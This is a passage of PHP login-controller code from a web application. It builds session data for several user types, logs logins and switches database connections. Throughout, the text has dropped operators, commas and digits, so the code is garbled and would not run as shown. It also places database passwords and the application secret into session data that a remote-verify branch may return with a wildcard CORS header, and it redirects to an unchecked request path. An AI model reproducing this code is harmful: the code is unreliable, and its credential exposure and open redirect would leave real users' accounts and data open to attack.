  4898.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4899.                         $session->set('remoteVerified'1);
  4900.                         $response = new JsonResponse(array(
  4901.                             'uid' => $session->get(UserConstants::USER_ID),
  4902.                             'session' => $session,
  4903.                             'token' => $token,
  4904.                             'success' => true,
  4905.                             'session_data' => $session_data,
  4906.                         ));
  4907.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4908.                         return $response;
  4909.                     }
  4910.                     if ($request->request->has('referer_path')) {
  4911.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4912.                             return $this->redirect($request->request->get('referer_path'));
  4913.                         }
  4914.                     }
  4915.                     //                    if($request->request->has('gocId')
  4916.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4917.                     return $this->redirectToRoute("client_dashboard"); //will be client
  4918.                     //                    else
  4919.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4920.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  4921.                     // System administrator
  4922.                     // System administrator have successfully logged in. Lets add a login ID.
  4923.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4924.                         ->findOneBy(
  4925.                             array(
  4926.                                 'userId' => $user->getUserId()
  4927.                             )
  4928.                         );
  4929.                     if ($employeeObj) {
  4930.                         $employeeId $employeeObj->getEmployeeId();
  4931.                         $epositionId $employeeObj->getPositionId();
  4932.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4933.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4934.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4935.                     }
  4936.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  4937.                         ->findOneBy(
  4938.                             array(
  4939.                                 'userId' => $user->getUserId(),
  4940.                                 'workingStatus' => 1
  4941.                             )
  4942.                         );
  4943.                     if ($currentTask) {
  4944.                         $currentTaskId $currentTask->getId();
  4945.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  4946.                     }
  4947.                     $userId $user->getUserId();
  4948.                     $userCompanyId 1;
  4949.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  4950.                     $userEmail $user->getEmail();
  4951.                     $userImage $user->getImage();
  4952.                     $userFullName $user->getName();
  4953.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  4954.                     $position_list_array json_decode($user->getPositionIds(), true);
  4955.                     if ($position_list_array == null$position_list_array = [];
  4956.                     $filtered_pos_array = [];
  4957.                     foreach ($position_list_array as $defPos)
  4958.                         if ($defPos != '' && $defPos != 0)
  4959.                             $filtered_pos_array[] = $defPos;
  4960.                     $position_list_array $filtered_pos_array;
  4961.                     if (!empty($position_list_array))
  4962.                         foreach ($position_list_array as $defPos)
  4963.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  4964.                                 $curr_position_id $defPos;
  4965.                             }
  4966.                     $userDefaultRoute $user->getDefaultRoute();
  4967. //                    $userDefaultRoute = 'MATHA';
  4968.                     $allModuleAccessFlag 1;
  4969.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  4970.                         $userDefaultRoute '';
  4971. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  4972.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4973.                     if (isset($companyList[$userCompanyId])) {
  4974.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4975.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4976.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4977.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4978.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4979.                     }
  4980.                     if ($allModuleAccessFlag == 1)
  4981.                         $prohibit_list_array = [];
  4982.                     else if ($curr_position_id != 0)
  4983.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  4984.                     $loginID $this->get('user_module')->addUserLoginLog(
  4985.                         $userId,
  4986.                         $request->server->get("REMOTE_ADDR"),
  4987.                         $curr_position_id
  4988.                     );
  4989.                     $appIdList json_decode($user->getUserAppIdList());
  4990.                     $branchIdList json_decode($user->getUserBranchIdList());
  4991.                     if ($branchIdList == null$branchIdList = [];
  4992.                     $branchId $user->getUserBranchId();
  4993.                     if ($appIdList == null$appIdList = [];
  4994. //
  4995. //                    if (!in_array($user->getUserAppId(), $appIdList))
  4996. //                        $appIdList[] = $user->getUserAppId();
  4997. //
  4998. //                    foreach ($appIdList as $currAppId) {
  4999. //                        if ($currAppId == $user->getUserAppId()) {
  5000. //
  5001. //                            foreach ($company_id_list as $index_company => $company_id) {
  5002. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  5003. //                                $app_company_index = $currAppId . '_' . $company_id;
  5004. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5005. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5006. //                            }
  5007. //                        } else {
  5008. //
  5009. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  5010. //                                $this->getDoctrine()->getManager('company_group'),
  5011. //                                $gocEnabled,
  5012. //                                $currAppId
  5013. //                            );
  5014. //                            if (!empty($dataToConnect)) {
  5015. //                                $connector = $this->container->get('application_connector');
  5016. //                                $connector->resetConnection(
  5017. //                                    'default',
  5018. //                                    $dataToConnect['dbName'],
  5019. //                                    $dataToConnect['dbUser'],
  5020. //                                    $dataToConnect['dbPass'],
  5021. //                                    $dataToConnect['dbHost'],
  5022. //                                    $reset = true
  5023. //                                );
  5024. //                                $em = $this->getDoctrine()->getManager();
  5025. //
  5026. //                                $companyList = Company::getCompanyListWithImage($em);
  5027. //                                foreach ($companyList as $c => $dta) {
  5028. //                                    //                                $company_id_list[]=$c;
  5029. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  5030. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  5031. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  5032. //                                    $app_company_index = $currAppId . '_' . $c;
  5033. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5034. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5035. //                                }
  5036. //                            }
  5037. //                        }
  5038. //                    }
  5039.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  5040.                     // General User
  5041.                     $employeeId 0;
  5042.                     $currentMonthHolidayList = [];
  5043.                     $currentHolidayCalendarId 0;
  5044.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5045.                         ->findOneBy(
  5046.                             array(
  5047.                                 'userId' => $user->getUserId()
  5048.                             )
  5049.                         );
  5050.                     if ($employeeObj) {
  5051.                         $employeeId $employeeObj->getEmployeeId();
  5052.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5053.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5054.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5055.                     }
  5056.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  5057.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  5058.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  5059.                     $session->set(UserConstants::USER_ID$user->getUserId());
  5060.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  5061.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  5062.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  5063.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  5064.                     $session->set(UserConstants::USER_NAME$user->getName());
  5065.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5066.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  5067.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  5068.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  5069.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  5070.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  5071.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  5072.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  5073.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  5074.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  5075.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  5076.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  5077.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  5078.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  5079.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5080.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5081.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5082.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5083.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5084.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  5085.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  5086.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  5087.                         return $this->redirectToRoute("user_login_position");
  5088.                     } else {
  5089.                         $PL json_decode($user->getPositionIds(), true);
  5090.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  5091.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  5092.                         $loginID $this->get('user_module')->addUserLoginLog(
  5093.                             $session->get(UserConstants::USER_ID),
  5094.                             $request->server->get("REMOTE_ADDR"),
  5095.                             $PL[0]
  5096.                         );
  5097.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  5098.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  5099.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  5100.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5101.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5102.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5103.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5104.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5105.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  5106.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5107.                         $appIdList json_decode($user->getUserAppIdList());
  5108.                         if ($appIdList == null$appIdList = [];
  5109.                         $companyIdListByAppId = [];
  5110.                         $companyNameListByAppId = [];
  5111.                         $companyImageListByAppId = [];
  5112.                         if (!in_array($user->getUserAppId(), $appIdList))
  5113.                             $appIdList[] = $user->getUserAppId();
  5114.                         foreach ($appIdList as $currAppId) {
  5115.                             if ($currAppId == $user->getUserAppId()) {
  5116.                                 foreach ($company_id_list as $index_company => $company_id) {
  5117.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5118.                                     $app_company_index $currAppId '_' $company_id;
  5119.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5120.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5121.                                 }
  5122.                             } else {
  5123.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  5124.                                     $this->getDoctrine()->getManager('company_group'),
  5125.                                     $gocEnabled,
  5126.                                     $currAppId
  5127.                                 );
  5128.                                 if (!empty($dataToConnect)) {
  5129.                                     $connector $this->container->get('application_connector');
  5130.                                     $connector->resetConnection(
  5131.                                         'default',
  5132.                                         $dataToConnect['dbName'],
  5133.                                         $dataToConnect['dbUser'],
  5134.                                         $dataToConnect['dbPass'],
  5135.                                         $dataToConnect['dbHost'],
  5136.                                         $reset true
  5137.                                     );
  5138.                                     $em $this->getDoctrine()->getManager();
  5139.                                     $companyList Company::getCompanyListWithImage($em);
  5140.                                     foreach ($companyList as $c => $dta) {
  5141.                                         //                                $company_id_list[]=$c;
  5142.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  5143.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  5144.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5145.                                         $app_company_index $currAppId '_' $c;
  5146.                                         $company_locale $companyList[$c]['locale'];
  5147.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5148.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5149.                                     }
  5150.                                 }
  5151.                             }
  5152.                         }
  5153.                         $session->set('appIdList'$appIdList);
  5154.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  5155.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  5156.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  5157.                         $branchIdList json_decode($user->getUserBranchIdList());
  5158.                         $branchId $user->getUserBranchId();
  5159.                         $session->set('branchIdList'$branchIdList);
  5160.                         $session->set('branchId'$branchId);
  5161.                         if ($user->getAllModuleAccessFlag() == 1)
  5162.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  5163.                         else
  5164.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  5165.                         $session_data = array(
  5166.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  5167.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  5168.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  5169.                             'oAuthToken' => $session->get('oAuthToken'),
  5170.                             'locale' => $session->get('locale'),
  5171.                             'firebaseToken' => $session->get('firebaseToken'),
  5172.                             'token' => $session->get('token'),
  5173.                             'firstLogin' => $firstLogin,
  5174.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  5175.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  5176.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  5177.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  5178.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  5179.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  5180.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  5181.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5182.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  5183.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  5184.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  5185.                             'oAuthImage' => $session->get('oAuthImage'),
  5186.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  5187.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  5188.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  5189.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  5190.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  5191.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  5192.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5193.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5194.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  5195.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5196.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  5197.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  5198.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  5199.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  5200.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  5201.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  5202.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  5203.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  5204.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  5205.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  5206.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  5207.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  5208.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  5209.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5210.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5211.                             //new
  5212.                             'appIdList' => $session->get('appIdList'),
  5213.                             'branchIdList' => $session->get('branchIdList'null),
  5214.                             'branchId' => $session->get('branchId'null),
  5215.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  5216.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  5217.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  5218.                         );
  5219.                         $session_data $this->filterClientSessionData($session_data);
  5220.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  5221.                         $session_data $tokenData['sessionData'];
  5222.                         $token $tokenData['token'];
  5223.                         $session->set('token'$token);
  5224.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5225.                             $session->set('remoteVerified'1);
  5226.                             $response = new JsonResponse(array(
  5227.                                 'uid' => $session->get(UserConstants::USER_ID),
  5228.                                 'session' => $session,
  5229.                                 'token' => $token,
  5230.                                 'success' => true,
  5231.                                 'session_data' => $session_data,
  5232.                             ));
  5233.                             $response->headers->set('Access-Control-Allow-Origin''*');
  5234.                             return $response;
  5235.                         }
  5236.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5237.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5238.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5239.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5240.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5241.                                     return $this->redirect($red);
  5242.                                 }
  5243.                             } else {
  5244.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5245.                             }
  5246.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5247.                             return $this->redirectToRoute("dashboard");
  5248.                         else
  5249.                             return $this->redirectToRoute($user->getDefaultRoute());
  5250. //                        if ($request->server->has("HTTP_REFERER")) {
  5251. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  5252. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  5253. //                            }
  5254. //                        }
  5255. //
  5256. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  5257. //                        if ($request->request->has('referer_path')) {
  5258. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  5259. //                                return $this->redirect($request->request->get('referer_path'));
  5260. //                            }
  5261. //                        }
  5262. //                        //                    if($request->request->has('gocId')
  5263. //
  5264. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5265. //                            return $this->redirectToRoute("dashboard");
  5266. //                        else
  5267. //                            return $this->redirectToRoute($user->getDefaultRoute());
  5268.                     }
  5269.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  5270.                     $applicantId $user->getApplicantId();
  5271.                     $userId $user->getApplicantId();
  5272.                     $globalId $user->getApplicantId();
  5273.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5274.                     $isConsultant $user->getIsConsultant() == 0;
  5275.                     $isRetailer $user->getIsRetailer() == 0;
  5276.                     $retailerLevel $user->getRetailerLevel() == 0;
  5277.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  5278.                     $isModerator $user->getIsModerator() == 0;
  5279.                     $isAdmin $user->getIsAdmin() == 0;
  5280.                     $userEmail $user->getOauthEmail();
  5281.                     $userImage $user->getImage();
  5282.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  5283.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5284.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5285.                     $buddybeeBalance $user->getAccountBalance();
  5286.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  5287.                     $userDefaultRoute 'applicant_dashboard';
  5288. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  5289.                     $userAppIds = [];
  5290.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  5291.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  5292.                     if ($userAppIds == null$userAppIds = [];
  5293.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  5294.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  5295.                     foreach ($userTypesByAppIds as $aid => $accData)
  5296.                         if (in_array($aid$userSuspendedAppIds))
  5297.                             unset($userTypesByAppIds[$aid]);
  5298.                         else
  5299.                             $userAppIds[] = $aid;
  5300. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  5301.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  5302.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  5303.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  5304.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  5305.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  5306.                     $loginID MiscActions::addEntityUserLoginLog(
  5307.                         $em_goc,
  5308.                         $userId,
  5309.                         $applicantId,
  5310.                         1,
  5311.                         $request->server->get("REMOTE_ADDR"),
  5312.                         0,
  5313.                         $request->request->get('deviceId'''),
  5314.                         $request->request->get('oAuthToken'''),
  5315.                         $request->request->get('oAuthType'''),
  5316.                         $request->request->get('locale'''),
  5317.                         $request->request->get('firebaseToken''')
  5318.                     );
  5319.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  5320.                     // General User
  5321.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5322.                         ->findOneBy(
  5323.                             array(
  5324.                                 'userId' => $user->getUserId()
  5325.                             )
  5326.                         );
  5327.                     if ($employeeObj) {
  5328.                         $employeeId $employeeObj->getEmployeeId();
  5329.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5330.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5331.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5332.                     }
  5333.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  5334.                         ->findOneBy(
  5335.                             array(
  5336.                                 'userId' => $user->getUserId(),
  5337.                                 'workingStatus' => 1
  5338.                             )
  5339.                         );
  5340.                     if ($currentTask) {
  5341.                         $currentTaskId $currentTask->getId();
  5342.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  5343.                     }
  5344.                     $userId $user->getUserId();
  5345.                     $userCompanyId 1;
  5346.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5347.                     $userEmail $user->getEmail();
  5348.                     $userImage $user->getImage();
  5349.                     $userFullName $user->getName();
  5350.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5351.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5352.                     $position_list_array json_decode($user->getPositionIds(), true);
  5353.                     if ($position_list_array == null$position_list_array = [];
  5354.                     $filtered_pos_array = [];
  5355.                     foreach ($position_list_array as $defPos)
  5356.                         if ($defPos != '' && $defPos != 0)
  5357.                             $filtered_pos_array[] = $defPos;
  5358.                     $position_list_array $filtered_pos_array;
  5359.                     if (!empty($position_list_array))
  5360.                         foreach ($position_list_array as $defPos)
  5361.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  5362.                                 $curr_position_id $defPos;
  5363.                             }
  5364.                     $userDefaultRoute $user->getDefaultRoute();
  5365.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  5366.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  5367.                         $userDefaultRoute 'dashboard';
  5368.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  5369.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  5370.                     if (isset($companyList[$userCompanyId])) {
  5371.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  5372.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  5373.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  5374.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  5375.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  5376.                     }
  5377.                     if ($allModuleAccessFlag == 1)
  5378.                         $prohibit_list_array = [];
  5379.                     else if ($curr_position_id != 0)
  5380.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  5381.                     $loginID $this->get('user_module')->addUserLoginLog(
  5382.                         $userId,
  5383.                         $request->server->get("REMOTE_ADDR"),
  5384.                         $curr_position_id
  5385.                     );
  5386.                     $appIdList json_decode($user->getUserAppIdList());
  5387.                     $branchIdList json_decode($user->getUserBranchIdList());
  5388.                     if ($branchIdList == null$branchIdList = [];
  5389.                     $branchId $user->getUserBranchId();
  5390.                     if ($appIdList == null$appIdList = [];
  5391.                     if (!in_array($user->getUserAppId(), $appIdList))
  5392.                         $appIdList[] = $user->getUserAppId();
  5393.                     foreach ($appIdList as $currAppId) {
  5394.                         if ($currAppId == $user->getUserAppId()) {
  5395.                             foreach ($company_id_list as $index_company => $company_id) {
  5396.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5397.                                 $app_company_index $currAppId '_' $company_id;
  5398.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5399.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5400.                             }
  5401.                         } else {
  5402.                             $dataToConnect System::changeDoctrineManagerByAppId(
  5403.                                 $this->getDoctrine()->getManager('company_group'),
  5404.                                 $gocEnabled,
  5405.                                 $currAppId
  5406.                             );
  5407.                             if (!empty($dataToConnect)) {
  5408.                                 $connector $this->container->get('application_connector');
  5409.                                 $connector->resetConnection(
  5410.                                     'default',
  5411.                                     $dataToConnect['dbName'],
  5412.                                     $dataToConnect['dbUser'],
  5413.                                     $dataToConnect['dbPass'],
  5414.                                     $dataToConnect['dbHost'],
  5415.                                     $reset true
  5416.                                 );
  5417.                                 $em $this->getDoctrine()->getManager();
  5418.                                 $companyList Company::getCompanyListWithImage($em);
  5419.                                 foreach ($companyList as $c => $dta) {
  5420.                                     //                                $company_id_list[]=$c;
  5421.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  5422.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  5423.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5424.                                     $app_company_index $currAppId '_' $c;
